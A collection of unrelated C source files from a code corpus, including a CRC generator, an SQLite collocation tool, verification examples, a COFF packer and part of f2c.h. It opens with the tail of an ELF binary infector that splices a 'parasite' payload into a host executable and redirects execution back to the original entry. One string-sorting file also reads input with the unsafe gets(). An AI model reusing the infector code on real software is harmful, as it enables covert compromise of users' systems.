*(Elf64_Word *)(jmp_entry + 1) = \ (Elf64_Word)(o_entry - parasite_addr - size_p - sizeof (jmp_entry)); // Generating infection file ... memcpy (evil, host, parasite_off); memcpy (evil + parasite_off, parasite, size_p); memcpy (evil + parasite_off + size_p, jmp_entry, sizeof (jmp_entry)); memcpy (evil + parasite_off + size_p + sizeof (jmp_entry), host + parasite_off, size_h - parasite_off); write (fd, evil, size_h + size_p + sizeof (jmp_entry)); close (fd); free (host); free (parasite); free (evil); exit (0); } int load_file (char *filename, char **mem) { int fd, err_index; struct stat st; char *err_msg[] = {"Open", "Fstat", "Malloc", "Read"}; if ((fd = open (filename, O_RDONLY)) < 0) { err_index = 0; goto FAILED; } if (fstat (fd, &st) < 0) { err_index = 1; goto FAILED; } if (!(*mem = (char *)malloc (st.st_size))) { err_index = 2; goto FAILED; } if (read (fd, *mem, st.st_size) != st.st_size) { err_index = 3; goto FAILED; } close (fd); return st.st_size; FAILED: fprintf (stderr, "%s %s failed\n", err_msg[err_index], filename); exit (EXIT_FAILURE); }
the_stack_data/232954863.c
/* * --- Revised 3-Clause BSD License --- * Copyright Semtech Corporation 2022. All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the Semtech corporation nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL SEMTECH CORPORATION. BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #if defined(CFG_prog_genkwcrcs) #include <stdio.h> #include "uj.h" #define P1 257 #define P2 65537 #define SC (32-8) #define FINISH_CRC(crc) X((crc) ? (crc) : 1) #define UPDATE_CRC(crc, c) X((((crc)>>SC)*P2) ^ ((crc)*P1) ^ ((c)&0x7F)) #define STR(expr) CAT(XXX,expr) #define STR2(p) #p #define CAT(p, ...) STR2(p ##__VA_ARGS__) ujcrc_t X(ujcrc_t x) { return x; } ujcrc_t calcCRC(const char* s) { ujcrc_t crc = 0; int c; while( (c=*s++) ) { crc = UPDATE_CRC(crc,c); } return FINISH_CRC(crc); } int main (int argc, char** argv) { argv++; argc--; ujcrc_t crcs[argc]; for( int i=0; i<argc; i++ ) { ujcrc_t crc = calcCRC(argv[i]); crcs[i] = crc; for( int j=i-1; j>=0; j-- ) { if( crcs[j] == crc && strcmp(argv[j], argv[i]) != 0 ) { fprintf(stderr, "Collision: %s(0x%X) vs %s(0x%X)\n", argv[i], crc, argv[j], crcs[j]); exit(1); } } } printf("// Auto generated by genkwcrcs - DO NOT CHANGE!\n"); printf("#define UJ_UPDATE_CRC(crc,c) %s\n", 4+STR(UPDATE_CRC(crc,c))); printf("#define UJ_FINISH_CRC(crc) %s\n", 4+STR(FINISH_CRC(crc))); for( int i=0; i<argc; i++ ) { char ident[256]; int cj = 0; for( cj=0; argv[i][cj]; cj++ ) { char c = argv[i][cj]; ident[cj] = (c>='0' && c<='9') || (c>='a' && c<='z') || (c>='A' && c<='Z') ? c : '_'; } ident[cj] = 0; printf("#define J_%-20s ((ujcrc_t)(0x%08X))\n", ident, crcs[i]); } return 0; } #endif // defined(CFG_prog_genkwcrcs)
the_stack_data/48573990.c
#include <string.h> #include <stdio.h> #include <sqlite3.h> #include <stdlib.h> #define WORD_LIST_SQL "SELECT unique_id FROM words INNER JOIN unique_words USING (unique_id) INNER JOIN lines USING (line_id) INNER JOIN texts USING (text_id) WHERE corpus_id = ? GROUP BY unique_id HAVING COUNT(*) >= ?;" #define INSERT_COLLOC_DEF_SQL "INSERT OR IGNORE INTO collocation_definitions (collocation_def_id, min_occurrences, min_length, corpus_id) VALUES (NULL, ?, ?, ?);" #define SELECT_COLLOC_DEF_SQL "SELECT collocation_def_id FROM collocation_definitions WHERE min_occurrences = ? AND min_length = ? and corpus_id = ?;" #define INSERT_COLLOC_SQL "INSERT INTO collocations (collocation_id, collocation_def_id) VALUES (NULL, ?);" #define SAME_LINE 1 #define ADJACENT_W 2 #define ADJACENT_L 3 #define MAX_WORDS 1024 #define MAX_MATCHES 1024 #define MAX_SQL_LEN 1024 sqlite3 *db; sqlite3_stmt *word_list_stmt; // generate SQL for same_line_stmt // returns NULL on error char *generate_sameline_sql(int min_length) /*{{{*/ { // fixed strings char select[] = "SELECT line_id FROM words AS w1 ", join_fmt[] = " INNER JOIN words AS w%d USING (line_id) ", where[] = " WHERE w1.unique_id = ? ", and_where_fmt[] = " AND w%d.unique_id = ? ", group[] = " GROUP BY line_id;"; char *stmt, *join, *and_where; int i; // allocate memory for stmt stmt = (char *) malloc(sizeof(char) * MAX_SQL_LEN); join = (char *) malloc(sizeof(char) * MAX_SQL_LEN); and_where = (char *) malloc(sizeof(char) * MAX_SQL_LEN); if (NULL == stmt || NULL == join || NULL == and_where) { fprintf(stderr, "couldn't allocate memory for stmt\n"); goto error; } stmt[0] = '\0'; join[0] = '\0'; and_where[0] = '\0'; // put together statement // initial select stmt = strcat(stmt, select); // joins for (i = 2; i <= min_length; ++ i) { sprintf(join, join_fmt, i); stmt = strcat(stmt, join); } // initial where stmt = strcat(stmt, where); // and_where clauses for (i = 2; i <= min_length; ++ i) { sprintf(and_where, and_where_fmt, i); stmt = strcat(stmt, and_where); } // and then group clause stmt = strcat(stmt, group); free(join); free(and_where); // go here on error error: return stmt; } /*}}}*/ // generate SQL for inserting collocation words char *generate_colloc_words_sql(int min_length) /*{{{*/ { char insert[] = "INSERT INTO collocation_words(collocation_id, unique_id) VALUES ", values[] = "(?, ?)"; char *sql; int i; sql = (char *) malloc(sizeof(char) * MAX_SQL_LEN); if (NULL == sql) { fprintf(stderr, "couldn't allocate memory for colloc words stmt\n"); goto error; } sql[0] = '\0'; sql = strcat(sql, insert); for (i = 0; i < min_length; ++ i) { sql = strcat(sql, values); if (i < min_length - 1) { sql = strcat(sql, ", "); } } sql = strcat(sql, " ;"); error: return sql; } /*}}}*/ // generate SQL for inserting collocation lines char *generate_colloc_lines_sql(int min_length, char *same_line_sql) /*{{{*/ { char insert[] = "INSERT INTO collocation_lines (collocation_id, line_id) SELECT ?, line_id FROM "; char *sql, *same_line_copy; sql = (char *) malloc(sizeof(char) * MAX_SQL_LEN); same_line_copy = (char *) malloc(sizeof(char) * MAX_SQL_LEN); if (NULL == sql || NULL == same_line_copy) { fprintf(stderr, "couldn't allocate memory for colloc lines stmt\n"); goto error; } sql[0] = '\0'; same_line_copy = strndup(same_line_sql, strlen(same_line_sql) - 1); sql = strcat(sql, insert); sql = strcat(sql, " ( "); sql = strcat(sql, same_line_copy); sql = strcat(sql, " );"); free(same_line_copy); error: return sql; } /*}}}*/ // find collocations in same line int sameline(int min_length, int min_occurence, int colloc_def_id) /*{{{*/ { char *same_line_sql, *insert_colloc_word_sql, *insert_colloc_line_sql; int i, rc = 1, j, w = 0, p, colloc_id; int *words, *perms; sqlite3_stmt *same_line_stmt, *insert_colloc_stmt, *insert_colloc_word_stmt, *insert_colloc_line_stmt; // allocate memory for word lists and lines words = (int *) malloc(sizeof(int) * MAX_WORDS); perms = (int *) malloc(sizeof(int) * min_length); if (NULL == words || NULL == perms) { fprintf(stderr, "couldn't allocate memory for word lists\n"); goto sameline_error; } // step over list of words with min_occurence // w will have the number of words in the list // and then finished with word list statement while (SQLITE_ROW == sqlite3_step(word_list_stmt)) { words[w ++] = sqlite3_column_int(word_list_stmt, 0); } sqlite3_finalize(word_list_stmt); fprintf(stderr, "have %d words\n", w); // initalise permutations for (i = 0; i < min_length; ++ i) { perms[i] = i; } // generate SQL same_line_sql = generate_sameline_sql(min_length); insert_colloc_word_sql = generate_colloc_words_sql(min_length); insert_colloc_line_sql = generate_colloc_lines_sql(min_length, same_line_sql); if (NULL == same_line_sql || NULL == insert_colloc_word_sql || NULL == insert_colloc_line_sql) { goto sameline_error; } fprintf(stderr, "%s\n%s\n%s\n", same_line_sql, insert_colloc_word_sql, insert_colloc_line_sql); // prepare statements if (SQLITE_OK != sqlite3_prepare_v2(db, same_line_sql, -1, &same_line_stmt, NULL) || SQLITE_OK != sqlite3_prepare_v2(db, INSERT_COLLOC_SQL, -1, &insert_colloc_stmt, NULL) || SQLITE_OK != sqlite3_prepare_v2(db, insert_colloc_word_sql, -1, &insert_colloc_word_stmt, NULL) || SQLITE_OK != sqlite3_prepare_v2(db, insert_colloc_line_sql, -1, &insert_colloc_line_stmt, NULL)) { fprintf(stderr, "error: %s\n", sqlite3_errmsg(db)); goto sameline_error; } // bind collocation def ID if (SQLITE_OK != sqlite3_bind_int(insert_colloc_stmt, 1, colloc_def_id)) { fprintf(stderr, "couldn't bind colloc def ID\n"); goto sameline_error; } // loop over permutations i = 0; while (perms[0] < (w - min_length + 1)) { // loop over numbers in this permutation for (j = 0; j < min_length; ++ j) { // bind if (SQLITE_OK != sqlite3_bind_int(same_line_stmt, j + 1, words[perms[j]])) { fprintf(stderr, "couldn't bind perm %d (%d)\n", j + 1, words[perms[j]]); fprintf(stderr, "error: %s\n", sqlite3_errmsg(db)); goto sameline_error; } } // step until reached min_occurence p = 0; while (SQLITE_ROW == sqlite3_step(same_line_stmt) && p < min_occurence) { ++ p; } // reset statement if (SQLITE_OK != sqlite3_reset(same_line_stmt)) { fprintf(stderr, "couldn't reset same_line_stmt\n"); fprintf(stderr, "error: %s\n", sqlite3_errmsg(db)); goto sameline_error; } // reached min_occurence threashold // so work with this permutation of words if (p >= min_occurence) { // insert new collocation if (SQLITE_DONE != sqlite3_step(insert_colloc_stmt) || SQLITE_OK != sqlite3_reset(insert_colloc_stmt)) { fprintf(stderr, "couldn't step/reset insert colloc stmt\n"); goto sameline_error; } // get collocation ID colloc_id = sqlite3_last_insert_rowid(db); // bind colloc statements for this set of matched words if (SQLITE_OK != sqlite3_bind_int(insert_colloc_line_stmt, 1, colloc_id)) { fprintf(stderr, "couldn't bind colloc ID to colloc line stmt\n"); goto sameline_error; } for (j = 0; j < min_length; ++ j) { if (SQLITE_OK != sqlite3_bind_int(insert_colloc_word_stmt, (j * 2) + 1, colloc_id) || SQLITE_OK != sqlite3_bind_int(insert_colloc_word_stmt, (j * 2) + 2, words[perms[j]]) || SQLITE_OK != sqlite3_bind_int(insert_colloc_line_stmt, j + 2, words[perms[j]])) { fprintf(stderr, "error binding param %d, %d (%d, %d) of colloc stmt\n", (j * 2) + 1, (j* 2) + 2, colloc_id, words[perms[j]]); goto sameline_error; } } // step and reset if (SQLITE_DONE != sqlite3_step(insert_colloc_word_stmt) || SQLITE_OK != sqlite3_reset(insert_colloc_word_stmt)) { fprintf(stderr, "couldn't step/reset colloc wordstmts\n"); fprintf(stderr, "error: %s\n", sqlite3_errmsg(db)); goto sameline_error; } if (SQLITE_DONE != sqlite3_step(insert_colloc_line_stmt) || SQLITE_OK != sqlite3_reset(insert_colloc_line_stmt)) { fprintf(stderr, "couldn't step/reset colloc line stmts\n"); fprintf(stderr, "error: %s\n", sqlite3_errmsg(db)); goto sameline_error; } fprintf(stderr, "Rows inserted: %d\n", sqlite3_changes(db)); } // indicate progress ++ i; if (0 == (i % 100)) { fprintf(stderr, "%d\n", i); } // incremented final position hasn't yet run over // so nothing else to do if (++ perms[min_length - 1] < w) { continue; } // loop over positions from left to right for (j = 0; j < min_length - 1; ++ j) { // look ahead to number in next position // if it has run over increment current position // and set next one to that (it will be incremented next) if (perms[j + 1] > w - (min_length - j)) { ++ perms[j]; perms[j + 1] = perms[j]; } } // increment final position ++ perms[min_length - 1]; } // finish up sqlite3_finalize(same_line_stmt); sqlite3_finalize(insert_colloc_stmt); sqlite3_finalize(insert_colloc_word_stmt); sqlite3_finalize(insert_colloc_line_stmt); free(same_line_sql); free(insert_colloc_word_sql); free(insert_colloc_line_sql); free(words); free(perms); rc = 0; sameline_error: return rc; } /*}}}*/ int main (int argc, char **argv) /*{{{*/ { int rc = 1, min_occurence = 3, adjacent = SAME_LINE, min_length = 2, colloc_def_id, corpus_id = 0; sqlite3_stmt *insert_colloc_def_stmt, *select_colloc_def_stmt; // check arguments switch (argc) { // length of collocation case 6: min_length = atoi(argv[5]); // fall through // min occurence case 5: min_occurence = atoi(argv[4]); // fall through // what kind of adjacanncy case 4: switch (argv[3][0]) { case 's': adjacent = SAME_LINE; break; case 'w': adjacent = ADJACENT_W; break; case 'l': adjacent = ADJACENT_L; break; } // fall through // corpus ID case 3: corpus_id = atoi(argv[2]); // fall through // database file case 2: if (SQLITE_OK == sqlite3_open(argv[1], &db)) { break; } else { fprintf(stderr, "Error opening %s\n", argv[1]); goto error; } // usage message default: printf("Usage: %s db_file corpus_id [adjacent [min_occurence [min_length]]]\n", argv[0]); printf("\tadjacent is 's' for same line, 'w' for adjacent words, 'l' for adjacent lines, default s\n\tmin_occurence is a number, default 3\n\tmin_length is minimum length of collocation, default 2\n"); goto error; } // prepare statements if (SQLITE_OK != sqlite3_prepare_v2(db, WORD_LIST_SQL, -1, &word_list_stmt, NULL)) { fprintf(stderr, "couldn't prepare statement %s\n", WORD_LIST_SQL); goto error; } if (SQLITE_OK != sqlite3_prepare_v2(db, INSERT_COLLOC_DEF_SQL, -1, &insert_colloc_def_stmt, NULL)) { fprintf(stderr, "couldn't prepare statement %s\n", INSERT_COLLOC_DEF_SQL); goto error; } if (SQLITE_OK != sqlite3_prepare_v2(db, SELECT_COLLOC_DEF_SQL, -1, &select_colloc_def_stmt, NULL)) { fprintf(stderr, "couldn't prepare statement %s\n", SELECT_COLLOC_DEF_SQL); goto error; } // bind statements if (SQLITE_OK != sqlite3_bind_int(word_list_stmt, 1, corpus_id)) { fprintf(stderr, "couldn't bind corpus_id %d\n", corpus_id); goto error; } if (SQLITE_OK != sqlite3_bind_int(word_list_stmt, 2, min_occurence)) { fprintf(stderr, "couldn't bind min_occurance %d\n", min_occurence); goto error; } if (SQLITE_OK != sqlite3_bind_int(insert_colloc_def_stmt, 1, min_occurence)) { fprintf(stderr, "couldn't bind min_occurance %d\n", min_occurence); goto error; } if (SQLITE_OK != sqlite3_bind_int(insert_colloc_def_stmt, 2, min_length)) { fprintf(stderr, "couldn't bind min_length %d\n", min_length); goto error; } if (SQLITE_OK != sqlite3_bind_int(insert_colloc_def_stmt, 3, corpus_id)) { fprintf(stderr, "couldn't bind corpus_id %d\n", corpus_id); goto error; } if (SQLITE_OK != sqlite3_bind_int(select_colloc_def_stmt, 1, min_occurence)) { fprintf(stderr, "couldn't bind min_occurance %d\n", min_occurence); goto error; } if (SQLITE_OK != sqlite3_bind_int(select_colloc_def_stmt, 2, min_length)) { fprintf(stderr, "couldn't bind min_length %d\n", min_length); goto error; } if (SQLITE_OK != sqlite3_bind_int(select_colloc_def_stmt, 3, corpus_id)) { fprintf(stderr, "couldn't bind corpus_id %d\n", corpus_id); goto error; } // insert and select collocation definition if (SQLITE_DONE != sqlite3_step(insert_colloc_def_stmt)) { fprintf(stderr, "couldn't insert collocation definition\n"); goto error; } if (SQLITE_ROW != sqlite3_step(select_colloc_def_stmt)) { fprintf(stderr, "couldn't select collocation definition\n"); goto error; } // get collocation definition ID colloc_def_id = sqlite3_column_int(select_colloc_def_stmt, 0); printf("Have collocation definition_id %d\n", colloc_def_id); // finished with insert/select collocation sqlite3_finalize(insert_colloc_def_stmt); sqlite3_finalize(select_colloc_def_stmt); switch (adjacent) { // words must be adjacent in same line case ADJACENT_W: break; // words must be in same line case SAME_LINE: sameline(min_length, min_occurence, colloc_def_id); break; // words must be in adjacent lines case ADJACENT_L: break; } // finish up sqlite3_close(db); // success rc = 0; // go here on error error: return rc; } /*}}}*/
the_stack_data/3035.c
#include <stdio.h> #include <locale.h> int main() { setlocale(LC_ALL, "Portuguese"); int i = 0, num, fat = 1; printf("Informe o número: "); scanf("%d", &num); while (num > 0) { fat = fat * num; num--; } printf("O fatorial desse número é: %d", fat); return 0; }
the_stack_data/153483.c
int main(void) { unsigned int x; unsigned int y; x = 0; y = 0; while (x < 1000003) { x++; int nondet_0; if (nondet_0) { y++; } } __CPROVER_assert(x != y, "A"); return 0; }
the_stack_data/475810.c
// sorts given array a of size length > 0 /*@ axiomatic Count { logic integer count{L}(int* a, integer length, int c); axiom nil{L}: \forall int* a, c; count{L}(a,0,c) == 0; axiom is_here{L}: \forall int* a, c, integer l; l>0 && a[l-1] == c ==> count{L}(a,l,c) == count{L}(a,l-1,c) + 1; axiom is_absent{L}: \forall int* a, c, integer l; l>0 && a[l-1] !=c ==> count{L}(a,l,c) == count{L}(a,l-1,c); } */ //@ lemma foo{L}: foo: \forall int* a, c, integer l,v; count{L}(a,l,c) == v; /*@ requires \valid(a+(0 .. length - 1)); requires length >= 0; assigns a[0..length-1]; behavior sorted: ensures \forall integer i,j; 0<= i <=j < length ==> a[i] <= a[j]; behavior same_elements: ensures \forall int c; count(a,length,c) == count{Pre}(a,length,c); */ void sort (int* a, int length) { int current; /*@ loop invariant 0<=current<= length; loop assigns a[0..length-1], current; for sorted: loop invariant \forall integer i,j; 0<=i<=j<current ==>a[i]<=a[j]; for sorted: loop invariant \forall integer i,j; 0<=i<current<=j<length ==> a[i]<=a[j]; for same_elements: loop invariant \forall int c; count(a,length,c) == count{Pre}(a,length,c); loop variant length - current; */ for (current = 0; current < length - 1; current++) { int min_idx = current; int min = a[current]; /*@ loop invariant current+1<=i<=length; loop invariant current<=min_idx<i; loop invariant a[min_idx] == min; loop assigns min,min_idx,i; for sorted: loop invariant \forall integer j; current+1<=j<i ==> min <= a[j]; */ for (int i = current + 1; i < length; i++) { if (a[i] < min) { min = a[i]; min_idx = i; } } if (min_idx != current){ L: a[min_idx]=a[current]; a[current]=0; } } } /* Local Variables: compile-command: "frama-c-gui sort.c" End: */
the_stack_data/29824560.c
void reverse(char *s); void itoa(int n, char *s) { int sign; char *t = s; if ((sign = n) < 0) n = -n; do { *s++ = n % 10 + '0'; } while ((n /= 10) > 0); if (sign < 0) *s++ = '-'; *s = '\0'; reverse(t); }
the_stack_data/70450795.c
/* * Copyright (C) 2005, 2007 Free Software Foundation, Inc. * * This file is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2, or (at your option) any * later version. * * In addition to the permissions in the GNU General Public License, the * Free Software Foundation gives you unlimited permission to link the * compiled version of this file with other programs, and to distribute * those programs without any restriction coming from the use of this * file. (The General Public License restrictions do apply in other * respects; for example, they cover modification of the file, and * distribution when not linked into another program.) * * This file is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; see the file COPYING. If not, write to * the Free Software Foundation, 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * * As a special exception, if you link this library with files * compiled with GCC to produce an executable, this does not cause * the resulting executable to be covered by the GNU General Public License. * This exception does not however invalidate any other reasons why * the executable file might be covered by the GNU General Public License. */ #define MXCSR_DAZ (1 << 6) /* Enable denormals are zero mode */ #define MXCSR_FTZ (1 << 15) /* Enable flush to zero mode */ #ifndef __x86_64__ /* All 64-bit targets have SSE and DAZ; only check them explicitly for 32-bit ones. */ #include "cpuid.h" #endif static void __attribute__((constructor)) #ifndef __x86_64__ /* The i386 ABI only requires 4-byte stack alignment, so this is necessary to make sure the fxsave struct gets correct alignment. See PR27537 and PR28621. */ __attribute__ ((force_align_arg_pointer)) #endif set_fast_math (void) { #ifndef __x86_64__ unsigned int eax, ebx, ecx, edx; if (!__get_cpuid (1, &eax, &ebx, &ecx, &edx)) return; if (edx & bit_SSE) { unsigned int mxcsr = __builtin_ia32_stmxcsr (); mxcsr |= MXCSR_FTZ; if (edx & bit_FXSAVE) { /* Check if DAZ is available. */ struct { unsigned short int cwd; unsigned short int swd; unsigned short int twd; unsigned short int fop; long int fip; long int fcs; long int foo; long int fos; long int mxcsr; long int mxcsr_mask; long int st_space[32]; long int xmm_space[32]; long int padding[56]; } __attribute__ ((aligned (16))) fxsave; __builtin_memset (&fxsave, 0, sizeof (fxsave)); asm volatile ("fxsave %0" : "=m" (fxsave) : "m" (fxsave)); if (fxsave.mxcsr_mask & MXCSR_DAZ) mxcsr |= MXCSR_DAZ; } __builtin_ia32_ldmxcsr (mxcsr); } #else unsigned int mxcsr = __builtin_ia32_stmxcsr (); mxcsr |= MXCSR_DAZ | MXCSR_FTZ; __builtin_ia32_ldmxcsr (mxcsr); #endif }
the_stack_data/312559.c
//quartz2962_37431/_tests/_group_8/_test_6.c //-1.6970E53 5 5 5 -1.0077E-316 +1.1397E-307 -1.0416E306 +0.0 -0.0 +1.4662E262 // /* This is a automatically generated test. Do not modify */ #include <stdio.h> #include <stdlib.h> #include <math.h> void compute(double comp, int var_1,int var_2,int var_3,double var_4,double var_5,double var_6,double var_7,double var_8,double var_9) { for (int i=0; i < var_1; ++i) { for (int i=0; i < var_2; ++i) { for (int i=0; i < var_3; ++i) { if (comp <= cosh(-1.5365E-307)) { double tmp_1 = -1.5087E305; comp += tmp_1 - (-1.4517E305 * (-1.3126E-306 / -1.4000E305 / -1.8397E-307)); comp = var_4 - var_5 / atan(var_6 / -0.0 / var_7 + sqrt((var_8 * +1.4655E305 / var_9 - -1.7981E-317))); } } } } printf("%.17g\n", comp); } double* initPointer(double v) { double *ret = (double*) malloc(sizeof(double)*10); for(int i=0; i < 10; ++i) ret[i] = v; return ret; } int main(int argc, char** argv) { /* Program variables */ double tmp_1 = atof(argv[1]); int tmp_2 = atoi(argv[2]); int tmp_3 = atoi(argv[3]); int tmp_4 = atoi(argv[4]); double tmp_5 = atof(argv[5]); double tmp_6 = atof(argv[6]); double tmp_7 = atof(argv[7]); double tmp_8 = atof(argv[8]); double tmp_9 = atof(argv[9]); double tmp_10 = atof(argv[10]); compute(tmp_1,tmp_2,tmp_3,tmp_4,tmp_5,tmp_6,tmp_7,tmp_8,tmp_9,tmp_10); return 0; }
the_stack_data/57950292.c
#include<stdio.h> #include<string.h> void main() { char a[100][100]; int i,j,n; printf("\n\n Sorting An Array Strings \n\n"); printf(" Enter Number Of Elements : "); scanf("%d",&n); printf("\n\n Creating The Array \n\n"); for(i = 0 ; i < n ; i++) { printf("\n Enter A String : "); gets(a[i]); } printf("\n\n The Entered Array Is \n\n"); for(i = 0 ; i < n ; i++) { printf("\n %s ",a[i]); } printf("\n\n Array After Sorting In Ascending Order \n\n"); for(i = 0 ; i < n-1 ; i++) { for(j = 0 ;j < n - i -1 ; j++) { if(strcmp(a[j],a[j+1]) > 0) { char temp[100]; strcpy(temp,a[j]); strcpy(a[j],a[j + 1]); strcpy(a[j + 1],temp); } } } for(i = 0 ; i < n ; i++) { printf("\n %s ",a[i]); } printf("\n\n"); }
the_stack_data/95451012.c
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef unsigned char byte; typedef unsigned short u16; u16 CRC16_CCIT(byte *data, int sz) { byte *cs, *ce; u16 crc; cs=data; ce=cs+sz; crc=0; while(cs<ce) { crc = ((crc>>8)&0xFF) | (crc<<8); crc ^= (*cs++); crc ^= (crc&0xFF)>>4; crc ^= crc<<12; crc ^= (crc&0xFF)<<5; } return(crc); } u16 Hash16_BGB(byte *data, int sz) { byte *cs, *ce; u16 hash; cs=data; ce=cs+sz; hash=0; while(cs<ce) hash=(hash*31)+(*cs++); return(hash); } int usage(int argc, char **argv) { } int main(int argc, char *argv[]) { char fccb[8]; char *infn, *outfn, *fcc; FILE *infd, *outfd; byte *buf, *buf1; int i, j, sz; infn=NULL; outfn=NULL; fcc="RAW "; for(i=1; i<argc; i++) { if(argv[i][0]=='-') { if(argv[i][1]=='T') { strcpy(fccb, " "); strcpy(fccb, argv[i]+2); fcc=fccb; } continue; } if(!outfn) { outfn=argv[i]; continue; } if(!infn) { infn=argv[i]; continue; } usage(argc, argv); return(EXIT_FAILURE); } if(!infn || !outfn) { usage(argc, argv); return(EXIT_FAILURE); } infd=fopen(infn, "rb"); fseek(infd, 0, 2); sz=ftell(infd); fseek(infd, 0, 0); buf=malloc(sz+256); memset(buf, 0, sz+256); buf1=buf+60+32; fread(buf1, 1, sz, infd); fclose(infd); //chunk header buf1=buf+60; buf1[ 0]='\x89'; buf1[ 1]='\x0A'; buf1[ 2]='\x0D'; buf1[ 3]='\x1A'; buf1[ 4]='C'; buf1[ 5]='H'; buf1[ 6]='N'; buf1[ 7]='K'; buf1[ 8]=fcc[0]; buf1[ 9]=fcc[1]; buf1[10]=fcc[2]; buf1[11]=fcc[3]; buf1[12]=32; //head size buf1[13]=0; //head size buf1[14]=0; //head checksum buf1[15]=0; //head chechsum i=sz+32; j=0; buf1[16]=(i )&0xFF; buf1[17]=(i>> 8)&0xFF; buf1[18]=(i>>16)&0xFF; buf1[19]=(i>>24)&0xFF; buf1[20]=(j )&0xFF; buf1[21]=(j>> 8)&0xFF; buf1[22]=(j>>16)&0xFF; buf1[23]=(j>>24)&0xFF; i=CRC16_CCIT(buf1, 32); buf1[14]=(i )&0xFF; buf1[15]=(i>>8)&0xFF; //COFF header buf1=buf; buf1[ 0]='\x4C'; //i386 magic buf1[ 1]='\x01'; //i386 magic buf1[ 2]='\x01'; //sections buf1[ 3]='\x00'; //sections buf1[ 4]=0; //timestamp buf1[ 5]=0; //timestamp buf1[ 6]=0; //timestamp buf1[ 7]=0; //timestamp buf1[ 8]=0; //symbol table buf1[ 9]=0; //symbol table buf1[10]=0; //symbol table buf1[11]=0; //symbol table buf1[12]=0; //symbol table size buf1[13]=0; //symbol table size buf1[14]=0; //symbol table size buf1[15]=0; //symbol table size buf1[16]=0; //opt header size buf1[17]=0; //opt header size buf1[18]=0; //characteristics buf1[19]=0; //characteristics //coff sections buf1[20]='.'; //section name buf1[21]='c'; buf1[22]='h'; buf1[23]='u'; buf1[24]='n'; buf1[25]='k'; buf1[26]='s'; buf1[27]='\x00'; buf1[28]=0; buf1[29]=0; buf1[30]=0; buf1[31]=0; buf1[32]=0; buf1[33]=0; buf1[34]=0; buf1[35]=0; i=sz+32; j=60; buf1[36]=(i )&0xFF; buf1[37]=(i>> 8)&0xFF; buf1[38]=(i>>16)&0xFF; buf1[39]=(i>>24)&0xFF; buf1[40]=(j )&0xFF; buf1[41]=(j>> 8)&0xFF; buf1[42]=(j>>16)&0xFF; buf1[43]=(j>>24)&0xFF; buf1[44]=0; buf1[45]=0; buf1[46]=0; buf1[47]=0; buf1[48]=0; buf1[49]=0; buf1[50]=0; buf1[51]=0; buf1[52]=0; buf1[53]=0; buf1[54]=0; buf1[55]=0; buf1[56]=0x40; buf1[57]=0x00; buf1[58]=0x50; buf1[59]=0xE0; i=60+32+sz; outfd=fopen(outfn, "wb"); fwrite(buf, 1, i, outfd); fclose(outfd); // return(EXIT_FAILURE); return(EXIT_SUCCESS); }
the_stack_data/1266826.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, 